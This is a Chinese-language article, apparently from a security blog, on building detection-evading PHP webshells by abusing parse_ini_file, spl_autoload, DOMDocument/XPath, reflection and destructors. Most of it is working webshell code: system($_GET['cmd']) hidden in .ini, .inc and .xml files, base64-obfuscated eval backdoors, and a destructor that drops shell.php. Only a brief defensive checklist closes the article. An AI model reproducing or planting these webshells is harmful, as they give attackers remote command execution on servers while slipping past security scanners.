基于 PHP 内置类及函数的免杀 WebShell
字数 1839 2025-08-29 08:30:05
PHP内置类及函数的免杀WebShell技术深度剖析
前言
PHP作为广泛使用的服务端语言,其灵活的内置类和文件操作机制为攻击者提供了天然的隐蔽通道。本文将从PHP内置类与文件操作出发,详细解析如何利用这些"合法"功能构建零特征、高动态的免杀WebShell。
利用parse_ini_file函数
parse_ini_file函数用于解析.ini文件,我们可以将WebShell代码隐藏在.ini文件的配置项中,然后通过解析这些配置项来动态执行代码。
动态函数调用+反射执行
- 创建包含恶意代码字符串的.ini文件:
; config.ini
func_name = "system"
cmd = "whoami"
- PHP解析并执行代码:
<?php
$config = parse_ini_file('config.ini');
$func = $config['func_name'];
$cmd = $config['cmd'];
// 使用反射间接调用函数
$reflection = new ReflectionFunction($func);
$reflection->invoke($cmd);
?>
关键点:
- 敏感函数名(
system)和指令(whoami)均存储在.ini文件中,避免代码硬编码 - 使用反射(
ReflectionFunction)间接调用函数,绕过静态检测
临时文件写入+包含执行
- 创建包含PHP代码的.ini文件:
; shell.ini
[section]
key = "<?php system($_GET['cmd']); ?>"
- PHP解析并执行代码:
<?php
$config = parse_ini_file('shell.ini', true);
$temp = tempnam(sys_get_temp_dir(), 'tmp');
file_put_contents($temp, $config['section']['key']);
include $temp;
unlink($temp);
?>
利用spl_autoload函数
spl_autoload函数用于自动加载类,但也可以被利用来触发文件包含。
基本利用方式
- 创建包含WebShell代码的.inc文件:
<?php
// 1.inc
system($_GET['cmd']);
?>
- PHP调用spl_autoload加载:
<?php
spl_autoload("1"); // 尝试加载类名为1的文件
?>
执行流程:
spl_autoload("1")尝试加载类名为1的文件- 按默认规则查找
1.php或1.inc,发现1.inc存在 - 包含
1.inc并执行WebShell
关键点:
spl_autoload不仅用于加载类,直接调用时也可触发文件包含- 文件扩展名(.inc)和类名(1)需匹配,但文件内容无需严格包含类定义
伪装类文件+动态执行
- 创建伪装成类文件的payload.inc:
<?php
// payload.inc
class Payload {
public function __construct() {
system($_GET['cmd']);
}
}
new Payload();
?>
- PHP调用spl_autoload加载:
<?php
spl_autoload("Payload");
?>
利用DOMDocument类
DOMDocument是PHP中用于处理XML和HTML文档的核心类,支持XPath查询和动态节点解析(PHP版本>8.0)。
常用方法
| 方法名 | 功能说明 | 示例 |
|---|---|---|
createElement($name, $value) |
创建元素节点 | $element = $dom->createElement('tag', 'content') |
createAttribute($name) |
创建属性节点 | $attr = $dom->createAttribute('id') |
getElementsByTagName($name) |
通过标签名获取节点列表 | $items = $dom->getElementsByTagName('item') |
getElementById($id) |
通过ID获取单个元素(需DTD验证) | $node = $dom->getElementById('main') |
saveHTML() |
输出HTML格式字符串(处理HTML文档时) | $html = $dom->saveHTML() |
validate() |
验证文档是否符合DTD/XSD | if ($dom->validate()) {...} |
解析XML数据隐藏恶意代码
- 创建包含恶意字符串的XML文件:
<!-- 1.xml -->
<root>
<payload>system</payload>
<command>whoami</command>
</root>
- PHP解析并执行代码:
<?php
$dom = new DOMDocument();
$dom->load('1.xml');
$payload = $dom->getElementsByTagName('payload')[0]->nodeValue;
$cmd = $dom->getElementsByTagName('command')[0]->nodeValue;
$payload($cmd);
?>
关键点:
- 将恶意字符串完全隐藏在XML文件中
- 使用DOMDocument解析XML提取节点内容
- 动态执行提取的代码
更隐蔽的XML利用方式
- 创建更复杂的XML文件:
<!-- config.xml -->
<application>
<settings>
<debug enabled="true">
<handler type="system"><?php echo base64_decode($_GET['c']); ?></handler>
</debug>
</settings>
</application>
- PHP解析并执行:
<?php
$dom = new DOMDocument();
$dom->load('config.xml');
$xpath = new DOMXPath($dom);
$code = $xpath->query('//handler')[0]->nodeValue;
eval($code);
?>
高级免杀技术组合
动态函数拼接+加密混淆
<?php
$f = 's'.'y'.'s'.'t'.'e'.'m';
$c = base64_decode('d2hvYW1p');
$f($c);
?>
伪命名空间技术
<?php
namespace {
function loader($class) {
if ($class == 'System\Shell') {
eval(base64_decode($_GET['c']));
}
}
spl_autoload_register('loader');
new \System\Shell();
}
?>
析构函数自动触发
<?php
class TempFile {
public function __destruct() {
file_put_contents('shell.php', '<?php '.$_GET['c'].' ?>');
}
}
$tmp = new TempFile();
unset($tmp);
?>
防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 禁用危险字符和函数名
-
文件操作限制:
- 限制
parse_ini_file只能读取特定目录 - 禁用动态包含文件功能
- 限制
-
PHP配置加固:
disable_functions = system,exec,passthru,shell_exec,proc_open allow_url_include = Off -
日志监控:
- 监控异常的文件操作
- 记录所有包含/自动加载操作
-
代码审计:
- 检查所有反射调用
- 审计XML/INI文件处理逻辑
总结
PHP内置类和文件操作机制提供了强大的功能,但也可能被攻击者利用构建高度隐蔽的WebShell。通过理解这些技术原理,安全团队可以更好地防御此类攻击,而开发者也能编写更安全的代码。防御的关键在于多层防护:输入验证、最小权限原则、敏感函数禁用和持续监控。